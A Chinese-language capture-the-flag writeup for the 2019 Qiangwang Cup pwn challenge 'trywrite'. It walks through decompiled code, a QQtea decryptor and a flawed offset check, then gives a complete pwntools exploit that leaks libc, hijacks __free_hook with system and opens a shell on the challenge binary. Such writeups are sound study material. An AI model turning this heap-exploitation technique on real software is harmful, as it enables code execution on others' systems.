强网杯2019 pwn trywrite writeup

TOC

  1. 1. 安全防护
  2. 2. 分析
    1. 2.1. QQtea加密
  3. 3. 溢出点
  4. 4. 思路
    1. 4.1. 改ptr指针域
  5. 5. 脚本

粗略看很难,但是仔细分析就会发现有很多漏洞。

源文件、相关文件下载:trywrite.zip

安全防护

ex@Ex:~/test$ checksec trywrite
[*] '/home/ex/test/trywrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

分析

程序当中有很多障碍。

void *__fastcall malloc_inner(int size)
{
signed __int64 v2; // ST18_8
signed __int64 v3; // ST10_8
void *ret_addr; // [rsp+10h] [rbp-10h]

ret_addr = malloc(size);
if ( (unsigned __int64)ret_addr > heap && (unsigned __int64)ret_addr < heap + mmap_size[0] )
return ret_addr;
v2 = top_chunk_addr + 8LL * ((size + 16) / 8);
*(_QWORD *)(v2 + 8) = *(_QWORD *)(top_chunk_addr + 8LL) - (size + 16);
*(_QWORD *)(top_chunk_addr + 8LL) = size + 17;
v3 = top_chunk_addr + 16LL;
top_chunk_addr = v2;
return (void *)v3;
}

该函数限制了malloc出来的地址,使得我们不能直接malloc出任意chunk。

void *__fastcall memcpy_check(void *a1, const void *a2, int a3)
{
if ( (unsigned __int64)a1 >= libc_start && (unsigned __int64)a1 <= libc_end )
{
puts("Oh! You can't write my libc!!");
exit(0);
}
return memcpy(a1, a2, a3);
}

不能改libc

QQtea加密

unsigned int *__fastcall sub_F5E(unsigned int *a1, unsigned int *a2, _DWORD *a3)
{
unsigned int *result; // rax
unsigned int v4; // [rsp+24h] [rbp-14h]
unsigned int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
signed int i; // [rsp+30h] [rbp-8h]

v4 = *a1;
v5 = *a2;
v6 = 0;
for ( i = 0; i <= 15; ++i )
{
v6 -= 0x61C88647;
v4 += (v5 + v6) ^ (16 * v5 + *a3) ^ ((v5 >> 5) + a3[1]);
v5 += (v4 + v6) ^ (16 * v4 + a3[2]) ^ ((v4 >> 5) + a3[3]);
}
*a1 = v4;
result = a2;
*a2 = v5;
return result;
}

0x9e3779b9值的int形式就是-0x61C88647,写出对应的解密脚本即可。

def _decode(v, k, delta):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
sum = c_uint32(0xe3779b90)
for i in range(16):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
sum.value -= delta

return struct.pack('II', v0.value, v1.value)


def qqtea_decode(data, key, delta):
k = struct.unpack('IIII', key)
length = int(len(data) / 8)
d = struct.unpack('II' * length, data)
return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])

溢出点

Change函数中,虽然有很多检查,但是检查并不严格,比如没有对key1_offset做仔细检查,所以我们可以伪造key1_offset来绕过第一个检查,然后利用memcpy_check进行地址写。

puts("Give me how far the first key is from your heap:");
key0_offset = get_ul();
puts("Give me how far the second key is from the first key:");
key1_offset = get_ul();
key0 = (Message *)(heap + key0_offset);
key1 = (void *)(heap + key0_offset + 136);
if ( heap + key0_offset > heap + mmap_size[0] - key1_offset || (unsigned __int64)key0 < heap )
{
puts("Sorry~");
}
else
{
memset(buf, 0, 0x10uLL);
puts("Please tell me the new key:");
read_n(buf, 16LL);
memcpy_check(key0, buf, 8);
memcpy_check(key1, &buf[8], 8);
for ( i = 0; i <= 11 && (!ptr[i] || key0 != ptr[i]); ++i )
;
if ( i == 12 )
{
puts("How dare you play with me?");
exit(0);
}

思路

  1. 泄露地址
  2. 改ptr指针域
  3. 写入__free_hook
  4. 劫持__free_hook

改ptr指针域

这里主要是用了堆中原有的结构,修改了ptr指针域,使得0xabc050地址拥有了写权限。

Change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

执行前:

pwndbg> x/12gx *$ptr
0xabc040: 0x0000000000abc470 0x0000000000abc3d0
0xabc050: 0x0000000000abc330 0x0000000000abc290
0xabc060: 0x0000000000abc1f0 0x0000000000abc150
0xabc070: 0x0000000000abc0b0 0x0000000000abc510
0xabc080: 0x0000000000abc5b0 0x0000000000000000
0xabc090: 0x0000000000000000 0x0000000000000000
pwndbg> x/96bx *$ptr
0xabc040: 0x70 0xc4 0xab 0x00 0x00 0x00 0x00 0x00
0xabc048: 0xd0 0xc3 0xab 0x00 0x00 0x00 0x00 0x00
0xabc050: 0x30 0xc3 0xab 0x00 0x00 0x00 0x00 0x00
0xabc058: 0x90 0xc2 0xab 0x00 0x00 0x00 0x00 0x00
0xabc060: 0xf0 0xc1 0xab 0x00 0x00 0x00 0x00 0x00
0xabc068: 0x50 0xc1 0xab 0x00 0x00 0x00 0x00 0x00
0xabc070: 0xb0 0xc0 0xab 0x00 0x00 0x00 0x00 0x00
0xabc078: 0x10 0xc5 0xab 0x00 0x00 0x00 0x00 0x00
0xabc080: 0xb0 0xc5 0xab 0x00 0x00 0x00 0x00 0x00
0xabc088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xabc090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xabc098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

执行后:

pwndbg> x/12gx *$ptr
0xabc040: 0x0000000000abc470 0x0000000000abc3d0
0xabc050: 0x0000000000abc330 0x0000000000abc290
0xabc060: 0x0000000000abc1f0 0x0000000000abc050
0xabc070: 0x0000000000abc069 0x0000000000abc510
0xabc080: 0x0000000000abc5b0 0x0000000000000000
0xabc090: 0x0000000000000000 0x0000000000000000

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
from ctypes import c_uint32

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './trywrite'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $ptr=(void **)$rebase(0x203030)

b *$rebase(0x1945)
b *$rebase(0x1344)
b *$rebase(0x19B7)
b *$rebase(0x16B6)
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def _decode(v, k, delta):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
sum = c_uint32(0xe3779b90)
for i in range(16):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
sum.value -= delta

return struct.pack('II', v0.value, v1.value)


def qqtea_decode(data, key, delta):
k = struct.unpack('IIII', key)
length = int(len(data) / 8)
d = struct.unpack('II' * length, data)
return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])

def Add(key, content):
sh.sendlineafter('command>> \n', '1')
sh.sendafter('Please tell me the key:\n', key)
sh.sendafter('Please tell me the date:\n', content)

def Delete(index):
sh.sendlineafter('command>> \n', '3')
sh.sendlineafter('Please tell me the index:\n', str(index))

def Change(key0_offset, key1_offset, content):
sh.sendlineafter('command>> \n', '4')
sh.sendlineafter('Give me how far the first key is from your heap:\n', str(key0_offset))
sh.sendlineafter('Give me how far the second key is from the first key:\n', str(key1_offset))
sh.sendafter('Please tell me the new key:\n', content)

key = 'k' * 16
heap_addr = 0xabc000

sh.sendlineafter('Please tell me where is your heap:\n', str(0xabc000))
sh.sendlineafter('Do you want to tell me your name now?(Y/N)\n', 'Y')
sh.sendline('good person')

# leak libc addr
for i in range(8 + 1):
Add(key, '\n')

for i in range(8):
Delete(i)

for i in range(8):
Add(key, '\n')

# pause()
sh.sendlineafter('command>> \n', '2')
sh.sendlineafter('Please tell me the index:\n', str(7))

raw = sh.recvn(0x80)
data = qqtea_decode(raw, key, 0x9e3779b9)
print(hexdump(data))

main_arena_addr = u64(data[0:8]) + 0x40
log.success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success("libc_addr: " + hex(libc_addr))

# modify the field of ptr
Change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

# write __free_hook to the ptr field
__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success("__free_hook_addr: " + hex(__free_hook_addr))

Change(0x50, 0, p64(__free_hook_addr) + p64(0))

# hijack __free_hook
system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

key0_offset = __free_hook_addr - heap_addr
key1_offset = heap_addr + 0x20001

Change(key0_offset, key1_offset, p64(system_addr) + p64(0))

Add('/bin/sh\0'.ljust(16, '\0'), '\n') # index 9
Delete(9)


sh.interactive()